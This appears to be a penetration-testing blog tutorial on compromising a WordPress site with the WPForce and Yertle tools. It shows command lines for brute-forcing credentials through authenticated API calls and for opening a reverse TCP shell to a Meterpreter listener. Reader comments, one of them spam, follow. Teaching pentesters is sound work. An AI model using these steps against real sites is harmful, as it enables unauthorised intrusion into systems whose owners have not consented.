Reverse Shell in Wordpress with WPForce

Reverse Shell in Wordpress with WPForce and Yertle

Imagine the scenario where you are presented with a WordPress site during a pentest and want to get in..
Standard 'author?' requests don't give you the name of any users and you need to look else where.
One nice alternative to using WPScan to brute force the username and password field is WPForce.
Taken from the WPForce website, link:

 Unlike WPScan, which performs brute force login attempts against the login page of WordPress, WPForce uses authenticated API calls to test the validity of credentials.  While most security plugins are wise to this method, it does provide slightly more stealth.
So first, clone yourself a copy here -

Once downloaded, add the following arguments like so..

python -i usr.txt -w pass.txt -u "http://www.[website].com"
Once complete you should find the username and password after some time. If not use a different word-list that is more appropriate to your scenario.

Having figured out the username and password to a Wordpress CMS site and now want to gain a shell.

Normally you would either have to circumvent the upload restrictions on the Wordpress page, which can be time consuming with a lot of trial and error or disguise an upload file within a custom built plugin. Again something potentially time consuming to achieve.

This is where WPForce comes in.

A very useful tool that will create an interactive shell or a reverse TCP connection to a meterpreter listener.
It also has lots of other interesting features like hooking to the BEEF Framework.

To start with make sure you have the python 'Requests' HTTP libraries installed..

pip install requests

Documentation here -

Now we are set lets start..

Arguments - -t URL, -u username, -p password, -v verbose, -li localhost, -lp localport, -r reverse or -i interactive, -a User Agent.

python -t -u admin -p admin -v -li -lp 80 -r

From here we have an interactive shell with limited functionality.

A simple directory listing from within the web server from an interactive shell.

Now setup a Meterpreter listener to wait for our connection.

Now we simply type 'meterpreter' and add the IP and Port details.

We receive the meterpreter session in metasploit.

Now we can continue our enumeration from Metasploit.


  1. Thanks for the blog post! I hope you found it useful.

    - n00py

  2. Hi,

    Thank you for sharing useful information

    Here i can share about my experience with clients Looking attractive and high quality Wordpress Ecommerce Portal Development services with low cost. Ecommerce portal design and development services so please feel free to contact us.

    Website Designing and Development

    Wordpress Website Development
    Ecommerce Portal Design and Development
    Dynamic Ecommerce Portal Designing
    PHP Website Development

  3. I like your blog, I read this blog please update more content on hacking, further check it once at python online training